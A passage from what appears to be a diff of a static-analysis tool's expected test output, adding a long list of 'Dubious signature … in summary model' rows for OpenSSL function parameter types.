*,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_CERT_SEQUENCE *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_ENCRYPTED_PKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_PKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_SPKAC *,unsigned char **)" in summary model. | +| Dubious signature "(const NETSCAPE_SPKI *,unsigned char **)" in summary model. | +| Dubious signature "(const NOTICEREF *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_BASICRESP *)" in summary model. | +| Dubious signature "(const OCSP_BASICRESP *,ASN1_OCTET_STRING **,X509_NAME **)" in summary model. | +| Dubious signature "(const OCSP_BASICRESP *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_CERTID *)" in summary model. | +| Dubious signature "(const OCSP_CERTID *,const OCSP_CERTID *)" in summary model. | +| Dubious signature "(const OCSP_CERTID *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_CERTSTATUS *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_CRLID *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_ONEREQ *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_REQINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_REQUEST *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPBYTES *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPDATA *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPID *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_RESPONSE *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_REVOKEDINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_SERVICELOC *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_SIGNATURE *,unsigned char **)" in summary model. | +| Dubious signature "(const OCSP_SINGLERESP *)" in summary model. | +| Dubious signature "(const OCSP_SINGLERESP *,unsigned char **)" in summary model. | +| Dubious signature "(const OPENSSL_CSTRING *,const OPENSSL_CSTRING *)" in summary model. | +| Dubious signature "(const OPENSSL_LHASH *)" in summary model. | +| Dubious signature "(const OPENSSL_SA *)" in summary model. | +| Dubious signature "(const OPENSSL_SA *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const OPENSSL_SA *,ossl_uintmax_t)" in summary model. | +| Dubious signature "(const OPENSSL_STACK *)" in summary model. | +| Dubious signature "(const OPENSSL_STACK *,OPENSSL_sk_copyfunc,OPENSSL_sk_freefunc)" in summary model. | +| Dubious signature "(const OPENSSL_STACK *,int)" in summary model. | +| Dubious signature "(const OPTIONS *)" in summary model. | +| Dubious signature "(const OSSL_AA_DIST_POINT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ALGORITHM *)" in summary model. | +| Dubious signature "(const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *)" in summary model. | +| Dubious signature "(const OSSL_ALLOWED_ATTRIBUTES_CHOICE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ALLOWED_ATTRIBUTES_ITEM *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ALLOWED_ATTRIBUTES_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATAV *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTES_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_DESCRIPTOR *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_MAPPING *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_MAPPINGS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_TYPE_MAPPING *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ATTRIBUTE_VALUE_MAPPING *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_BASIC_ATTR_CONSTRAINTS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ATAV *)" in summary model. | +| Dubious signature "(const OSSL_CMP_ATAVS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CAKEYUPDANNCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTIFIEDKEYPAIR *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTORENCCERT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTREPMESSAGE *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTREPMESSAGE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTREQTEMPLATE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTRESPONSE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CERTSTATUS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CHALLENGE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CRLSOURCE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CRLSTATUS *,DIST_POINT_NAME **,GENERAL_NAMES **,ASN1_TIME **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CRLSTATUS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *,char *,size_t)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *,const OSSL_CMP_CERTRESPONSE *)" in summary model. | +| Dubious signature "(const OSSL_CMP_CTX *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_ERRORMSGCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,X509 **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_ASN1_UTF8STRING **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_OSSL_CMP_CRLSTATUS **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_X509 **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,stack_st_X509_CRL **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ITAV *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_KEYRECREPCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(const OSSL_CMP_MSG *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKIBODY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKIHEADER *)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKIHEADER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *,char *,size_t)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_PKISI *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_POLLREP *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_POLLREPCONTENT *,int)" in summary model. | +| Dubious signature "(const OSSL_CMP_POLLREQ *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_PROTECTEDPART *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_REVANNCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_REVDETAILS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_REVREPCONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_ROOTCAKEYUPDATE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CMP_SRV_CTX *)" in summary model. | +| Dubious signature "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ATTRIBUTETYPEANDVALUE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTID *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTREQUEST *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTREQUEST *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTTEMPLATE *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_CERTTEMPLATE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCKEYWITHID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_MSG *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_MSG *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_MSGS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PBMPARAMETER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PKIPUBLICATIONINFO *)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PKMACVALUE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOPRIVKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_DAY_TIME *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_DAY_TIME_BAND *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_DECODER *)" in summary model. | +| Dubious signature "(const OSSL_DECODER_CTX *)" in summary model. | +| Dubious signature "(const OSSL_DECODER_INSTANCE *)" in summary model. | +| Dubious signature "(const OSSL_DISPATCH *)" in summary model. | +| Dubious signature "(const OSSL_DISPATCH *,void *)" in summary model. | +| Dubious signature "(const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(const OSSL_ENCODER *)" in summary model. | +| Dubious signature "(const OSSL_HASH *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const OSSL_HTTP_REQ_CTX *)" in summary model. | +| Dubious signature "(const OSSL_IETF_ATTR_SYNTAX *)" in summary model. | +| Dubious signature "(const OSSL_IETF_ATTR_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_INFO_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_INFO_SYNTAX_POINTER *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(const OSSL_NAMED_DAY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_NAMEMAP *,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(const OSSL_NAMEMAP *,int,size_t)" in summary model. | +| Dubious signature "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)" in summary model. | +| Dubious signature "(const OSSL_PARAM *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,BIGNUM **)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,BIO *,int)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,char **,size_t)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char **)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,const void **,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,double *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,int32_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,int64_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,int *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,long *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,time_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,uint32_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,uint64_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,unsigned int *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,unsigned long *)" in summary model. | +| Dubious signature "(const OSSL_PARAM *,void **,size_t,size_t *)" in summary model. | +| Dubious signature "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const OSSL_PARAM[],void *)" in summary model. | +| Dubious signature "(const OSSL_PQUEUE *)" in summary model. | +| Dubious signature "(const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_PROPERTY_DEFINITION *)" in summary model. | +| Dubious signature "(const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)" in summary model. | +| Dubious signature "(const OSSL_PROVIDER *)" in summary model. | +| Dubious signature "(const OSSL_PROVIDER *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const OSSL_PROVIDER *,const char *,int)" in summary model. | +| Dubious signature "(const OSSL_QRX_ARGS *)" in summary model. | +| Dubious signature "(const OSSL_QTX_ARGS *)" in summary model. | +| Dubious signature "(const OSSL_QUIC_TX_PACKETISER_ARGS *)" in summary model. | +| Dubious signature "(const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_STORE_INFO *)" in summary model. | +| Dubious signature "(const OSSL_STORE_LOADER *)" in summary model. | +| Dubious signature "(const OSSL_STORE_LOADER *,..(*)(..),void *)" in summary model. | +| Dubious signature "(const OSSL_STORE_SEARCH *)" in summary model. | +| Dubious signature "(const OSSL_STORE_SEARCH *,size_t *)" in summary model. | +| Dubious signature "(const OSSL_TARGET *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TARGETING_INFORMATION *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TARGETS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_PERIOD *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_DAY *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_MONTH *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_TIME *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_WEEKS *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OTHERNAME *,unsigned char **)" in summary model. | +| Dubious signature "(const PACKET *,uint64_t *)" in summary model. | +| Dubious signature "(const PBE2PARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PBEPARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PBKDF2PARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PBMAC1PARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7 *)" in summary model. | +| Dubious signature "(const PKCS7 *,PKCS7 *)" in summary model. | +| Dubious signature "(const PKCS7 *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_CTX *)" in summary model. | +| Dubious signature "(const PKCS7_DIGEST *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ENCRYPT *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ENC_CONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ENVELOPE *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_RECIP_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_SIGNED *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_SIGNER_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12 *)" in summary model. | +| Dubious signature "(const PKCS12 *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12_BAGS *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12_MAC_DATA *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const PKCS12_SAFEBAG *,unsigned char **)" in summary model. | +| Dubious signature "(const PKEY_USAGE_PERIOD *,unsigned char **)" in summary model. | +| Dubious signature "(const POLICYINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const POLICYQUALINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const POLY *,const POLY *,POLY *)" in summary model. | +| Dubious signature "(const PROFESSION_INFO *)" in summary model. | +| Dubious signature "(const PROFESSION_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PROV_CIPHER *)" in summary model. | +| Dubious signature "(const PROV_DIGEST *)" in summary model. | +| Dubious signature "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)" in summary model. | +| Dubious signature "(const PROXY_POLICY *,unsigned char **)" in summary model. | +| Dubious signature "(const QLOG_TRACE_INFO *)" in summary model. | +| Dubious signature "(const QUIC_CFQ_ITEM *)" in summary model. | +| Dubious signature "(const QUIC_CFQ_ITEM *,uint32_t)" in summary model. | +| Dubious signature "(const QUIC_CHANNEL *)" in summary model. | +| Dubious signature "(const QUIC_CHANNEL *,int)" in summary model. | +| Dubious signature "(const QUIC_CHANNEL_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(const QUIC_DEMUX *)" in summary model. | +| Dubious signature "(const QUIC_ENGINE_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_LCIDM *)" in summary model. | +| Dubious signature "(const QUIC_OBJ *)" in summary model. | +| Dubious signature "(const QUIC_PORT *)" in summary model. | +| Dubious signature "(const QUIC_PORT_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_RCIDM *)" in summary model. | +| Dubious signature "(const QUIC_REACTOR *)" in summary model. | +| Dubious signature "(const QUIC_RXFC *)" in summary model. | +| Dubious signature "(const QUIC_RXFC *,uint64_t *)" in summary model. | +| Dubious signature "(const QUIC_TLS_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_TSERVER *)" in summary model. | +| Dubious signature "(const QUIC_TSERVER_ARGS *,const char *,const char *)" in summary model. | +| Dubious signature "(const QUIC_TXPIM *)" in summary model. | +| Dubious signature "(const QUIC_TXPIM_PKT *)" in summary model. | +| Dubious signature "(const RSA *)" in summary model. | +| Dubious signature "(const RSA *,BN_CTX *)" in summary model. | +| Dubious signature "(const RSA *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const RSA *,int)" in summary model. | +| Dubious signature "(const RSA *,unsigned char **)" in summary model. | +| Dubious signature "(const RSA_METHOD *)" in summary model. | +| Dubious signature "(const RSA_OAEP_PARAMS *,unsigned char **)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *,unsigned char **)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS_30 *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[])" in summary model. | | Dubious signature "(const SAFEARRAY &)" in summary model. | | Dubious signature "(const SAFEARRAY *)" in summary model. | +| Dubious signature "(const SCRYPT_PARAMS *,unsigned char **)" in summary model. | +| Dubious signature "(const SCT *)" in summary model. | +| Dubious signature "(const SCT *,unsigned char **)" in summary model. | +| Dubious signature "(const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *)" in summary model. | +| Dubious signature "(const SLH_DSA_HASH_CTX *)" in summary model. | +| Dubious signature "(const SLH_DSA_KEY *)" in summary model. | +| Dubious signature "(const SLH_DSA_KEY *,int)" in summary model. | +| Dubious signature "(const SM2_Ciphertext *,unsigned char **)" in summary model. | +| Dubious signature "(const SSL *)" in summary model. | +| Dubious signature "(const SSL *,char *,int)" in summary model. | +| Dubious signature "(const SSL *,const SSL_CTX *,int *)" in summary model. | +| Dubious signature "(const SSL *,const int)" in summary model. | +| Dubious signature "(const SSL *,const unsigned char **,unsigned int *)" in summary model. | +| Dubious signature "(const SSL *,int)" in summary model. | +| Dubious signature "(const SSL *,int,int)" in summary model. | +| Dubious signature "(const SSL *,uint64_t *)" in summary model. | +| Dubious signature "(const SSL *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const SSL *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const SSL_CIPHER *)" in summary model. | +| Dubious signature "(const SSL_CIPHER *,char *,int)" in summary model. | +| Dubious signature "(const SSL_CIPHER *,int *)" in summary model. | +| Dubious signature "(const SSL_CIPHER *const *,const SSL_CIPHER *const *)" in summary model. | +| Dubious signature "(const SSL_COMP *)" in summary model. | +| Dubious signature "(const SSL_CONF_CMD *,size_t,char **,char **)" in summary model. | +| Dubious signature "(const SSL_CONNECTION *)" in summary model. | +| Dubious signature "(const SSL_CONNECTION *,OSSL_TIME *)" in summary model. | +| Dubious signature "(const SSL_CONNECTION *,int *,int *,int *)" in summary model. | +| Dubious signature "(const SSL_CTX *)" in summary model. | +| Dubious signature "(const SSL_CTX *,int)" in summary model. | +| Dubious signature "(const SSL_CTX *,uint64_t *)" in summary model. | +| Dubious signature "(const SSL_CTX *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const SSL_METHOD *)" in summary model. | +| Dubious signature "(const SSL_SESSION *)" in summary model. | +| Dubious signature "(const SSL_SESSION *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const SSL_SESSION *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const SSL_SESSION *,int)" in summary model. | +| Dubious signature "(const SSL_SESSION *,unsigned char **)" in summary model. | +| Dubious signature "(const SSL_SESSION *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const SSL_SESSION *,unsigned int *)" in summary model. | +| Dubious signature "(const SXNET *,unsigned char **)" in summary model. | +| Dubious signature "(const SXNETID *,unsigned char **)" in summary model. | | Dubious signature "(const T &,BOOL)" in summary model. | +| Dubious signature "(const TS_ACCURACY *)" in summary model. | +| Dubious signature "(const TS_ACCURACY *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(const TS_MSG_IMPRINT *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_REQ *)" in summary model. | +| Dubious signature "(const TS_REQ *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_RESP *)" in summary model. | +| Dubious signature "(const TS_RESP *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_STATUS_INFO *)" in summary model. | +| Dubious signature "(const TS_STATUS_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_TST_INFO *)" in summary model. | +| Dubious signature "(const TS_TST_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const UI *,int)" in summary model. | +| Dubious signature "(const UI_METHOD *)" in summary model. | +| Dubious signature "(const UI_METHOD *,int)" in summary model. | +| Dubious signature "(const USERNOTICE *,unsigned char **)" in summary model. | | Dubious signature "(const VARIANT &)" in summary model. | | Dubious signature "(const VARIANT &,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const VECTOR *,uint32_t,uint8_t *,size_t)" in summary model. | +| Dubious signature "(const X509 *)" in summary model. | +| Dubious signature "(const X509 *,EVP_MD **,int *)" in summary model. | +| Dubious signature "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)" in summary model. | +| Dubious signature "(const X509 *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509 *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509 *,const X509 *)" in summary model. | +| Dubious signature "(const X509 *,const X509 *,const X509 *)" in summary model. | +| Dubious signature "(const X509 *,const stack_st_X509 *,int)" in summary model. | +| Dubious signature "(const X509 *,int)" in summary model. | +| Dubious signature "(const X509 *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509 *,int,int)" in summary model. | +| Dubious signature "(const X509 *,unsigned char **)" in summary model. | +| Dubious signature "(const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(const X509_ACERT *)" in summary model. | +| Dubious signature "(const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **)" in summary model. | +| Dubious signature "(const X509_ACERT *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_ACERT *,int)" in summary model. | +| Dubious signature "(const X509_ACERT *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509_ACERT *,int,int)" in summary model. | +| Dubious signature "(const X509_ACERT *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_ALGOR *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const X509_ALGOR *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_ALGORS *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(const X509_ATTRIBUTE *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CERT_AUX *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CINF *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CRL *)" in summary model. | +| Dubious signature "(const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **)" in summary model. | +| Dubious signature "(const X509_CRL *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509_CRL 